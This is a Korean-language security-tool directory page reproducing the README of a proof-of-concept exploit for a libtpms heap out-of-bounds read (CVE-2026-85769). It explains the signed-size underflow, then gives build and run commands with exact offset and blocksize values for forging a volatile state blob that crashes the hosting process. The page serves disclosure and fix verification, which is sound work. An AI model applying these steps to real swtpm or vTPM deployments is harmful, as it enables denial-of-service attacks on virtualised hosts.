Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-85769 — CVE-2026-85769에 대한 개념 증명 익스플로잇으로, libtpms TPM 2.0 상태 역직렬화의 힙 버퍼 오버리드(heap out-of-bounds read) 취약점을 악용하여 조작된 상태 블롭(state blob)을 통해 서비스 거부(denial of service)를 시연합니다. | Kitploit
도구/GitHubGitHub/isukasanuj/cve-2026-85769
Embedded Systems SecurityVulnerability AnalysisExploitationFuzzingHardware SecurityBinary Analysis
GitHubisukasanuj/cve-2026-85769

CVE-2026-85769

CVE-2026-85769에 대한 개념 증명 익스플로잇으로, libtpms TPM 2.0 상태 역직렬화의 힙 버퍼 오버리드(heap out-of-bounds read) 취약점을 악용하여 조작된 상태 블롭(state blob)을 통해 서비스 거부(denial of service)를 시연합니다.

저장소 보기
5시간 12분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-85769

libtpms TPM 2.0 휘발성 상태 역직렬화에서의 힙 범위 밖 읽기(Heap out-of-bounds read).

block_skip_read()의 무제한 선택적 블록 건너뛰기가 언마샬(unmarshal) 커서를 공격자가 제어하는 16비트 길이만큼 전진시키고, 부호 있는 남은 크기 카운터를 음수로 만듭니다. 이후 모든 다운스트림 경계 검사는 그 부호 있는 값을 부호 없는 값으로 캐스팅하기 때문에 모두 통과합니다. 위조되고 자체 체크섬이 적용된 휘발성 상태 블롭(blob)이 TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …)를 통해 전달되면 힙 범위 밖 읽기가 발생하고 libtpms를 호스팅하는 프로세스(vTPM 배포 환경의 swtpm)가 중단됩니다.

CVECVE-2026-85769
구성 요소src/tpm2/NVMarshal.c, src/tpm2/Unmarshal.c
CWECWE-125 ← CWE-191 (정수 언더플로) + CWE-195 (부호-무부호 변환)
영향master f7f072b2, v0.10.2 03ff2481, 및 이 코드를 포함한 이전 릴리스
수정9e1475ff — "tpm2: UINT32로 캐스팅하기 전에 *size < 0 검사 추가" (PR #613)
CVSS 3.1AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Red Hat, Moderate)
보고일2026-09-01, 유지관리자에게 비공개로 보고

근본 원인

block_skip_read()는 선택적 버전 블록을 건너뛸 때 남은 바이트 수에 대해 길이를 검사하지 않고 파싱 커서를 전진시킵니다:

root@kitploit:~
} else if (has_block && !needs_block) {
    /* byte stream has the data but we don't need them */
    *buffer += blocksize;      /* blocksize is a UINT16 from the blob */
    *size   -= blocksize;      /* *size is INT32 — goes negative */
    *skip_code = TRUE;
}

*size는 부호 있는 값입니다. 음수가 되면 모든 스칼라 읽기 앞의 가드가 작동을 멈춥니다:

root@kitploit:~
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
root@kitploit:~
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2  ->  false        /* guard passes */

할당 영역을 지나 파싱이 진행될수록 *size는 더 음수가 되고 — 부호 없는 값으로는 더 크게 보입니다. 동일한 파일의 Array_Unmarshal에는 이미 부호 있는 값으로 비교하는 올바른 형태가 있습니다.

유일한 무결성 게이트는 블롭에 추가된 키 없는 SHA-1(src/tpm2/Volatile.c)이므로, PoC는 변조 후 이를 다시 계산합니다.

공격 표면

TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …)와 전원 온 복원 체인 TPMLIB_MainInit → _TPM_Init → VolatileLoad를 통해 도달합니다.

swtpm 배포 환경에서 관련 경로는 라이브 마이그레이션입니다 — libvirt가 구동하는 CMD_GET_STATEBLOB / CMD_SET_STATEBLOB. 대상 호스트는 소스 호스트에서 생성된 상태 블롭을 파싱합니다. 구성된 --migration-key는 이를 완화하지 않습니다: 키는 두 호스트 간에 공유되므로, 손상된 소스가 키를 보유하고 올바르게 복호화되는 블롭을 생성할 수 있습니다. 이는 중간에 개입한 제3자를 방어할 뿐, 적대적인 피어에 대해서는 방어하지 못합니다.

빌드

root@kitploit:~
git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967   # v0.10.2, or ba73ab17 for pre-fix master

./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
    CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
    LDFLAGS='-fsanitize=address'
make -j4

gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto

실행

root@kitploit:~
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0

# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin

# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610

# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0

8610은 커서가 와일드 포인터가 아닌 ASan의 레드존에 위치하도록 크기가 정해졌습니다:

root@kitploit:~
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610

오프셋 173은 ORDERLY_DATA skip_future_versions 트레일러의 has_block 바이트입니다. 이는 바이트를 세는 방식이 아니라 파싱 중 block_skip_read()에 오프셋을 출력하도록 계측하여 찾았습니다 — 오프셋은 상태 형식에 따라 달라지므로, 블롭 길이가 8778과 다르면 다시 유도해야 합니다.

skip_self_heal_timer는 사용 가능한 트레일러가 아님에 유의하십시오: TpmBuildSwitches.h의 ACCUMULATE_SELF_HEAL_TIMER YES는 needs_block = TRUE로 방출되어 안전한 분기를 취함을 의미합니다.

결과

root@kitploit:~
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
    #0 in UINT16_Unmarshal           tpm2/Unmarshal.c:71
    #1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
    #2 in NV_HEADER_Unmarshal        tpm2/NVMarshal.c:453
    #3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
    #4 in VolatileState_Unmarshal    tpm2/NVMarshal.c:3431
    #5 in VolatileState_Load         tpm2/Volatile.c:81
    #6 in TPM2_SetState              src/tpm_tpm2_interface.c:820
    #7 in TPMLIB_SetState            src/tpm_library.c:222

0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)

오류는 block_skip_read가 아닌 UINT16_Unmarshal에서 표면화됩니다 — 건너뛰기는 커서를 전진시키고 읽지 않고 반환합니다. 손상은 다음 구조체 읽기에서 발생합니다.

수정된 커밋에 대해서는 모든 공격 사례가 ASan 보고 없이 TPM_RC_INSUFFICIENT (0x9a)를 반환하며, 유효한 블롭은 여전히 rc=0으로 복원됩니다.

영향

libtpms를 호스팅하는 프로세스의 서비스 거부 및 정의되지 않은 동작.

정보 공개는 테스트되었고 배제되었습니다. 비-ASan 빌드에서의 작은 초과 읽기는 매번 TPM_RC_BAD_TAG (0x1e)를 반환합니다:

root@kitploit:~
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000

초과 읽기 직후의 읽기는 고정 상수와 일치해야 하는 32비트 매직 값을 가진 NV_HEADER입니다. 인접 힙이 이를 만족할 확률은 p ≈ 2⁻³²입니다. 파싱은 중단되고, ClearAllCachedState()가 모든 것을 폐기하며, 범위 밖 바이트는 TPMLIB_GetState에 도달하지 않습니다. 따라서 기밀성은 C:N입니다. Red Hat의 검토도 독립적으로 동일한 결론에 도달했습니다.

타임라인

크레딧

Isuka Sanuj — CyberCrew Inc. (株式会社CyberCrew)

Leyao(ICT CAS)에 의해 독립적으로 보고되었으며, 동일한 CVE에 크레딧이 부여됨.

참고 사항

이 PoC는 이슈가 업스트림에서 수정되고 CVE가 지정된 후에 게시되었습니다. 오픈소스 라이브러리의 로컬 빌드를 대상으로 하며 파싱을 트리거하는 것 외에는 아무것도 하지 않습니다. 테스트할 권한이 있는 대상만 테스트하십시오.

라이선스

MIT

도구 다운로드
날짜
2026-09-01libtpms 유지관리자에게 비공개로 보고
2026-09-04동일한 근본 원인이 Leyao(ICT CAS)에 의해 libtpms 이슈 #614로 공개적이고 독립적으로 보고됨
2026-09-04업스트림 9e1475ff(PR #613)에서 수정됨; 이 PoC로 수정 검증됨
2026-09-04Red Hat Product Security에 보고
2026-09-04CVE-2026-85769 지정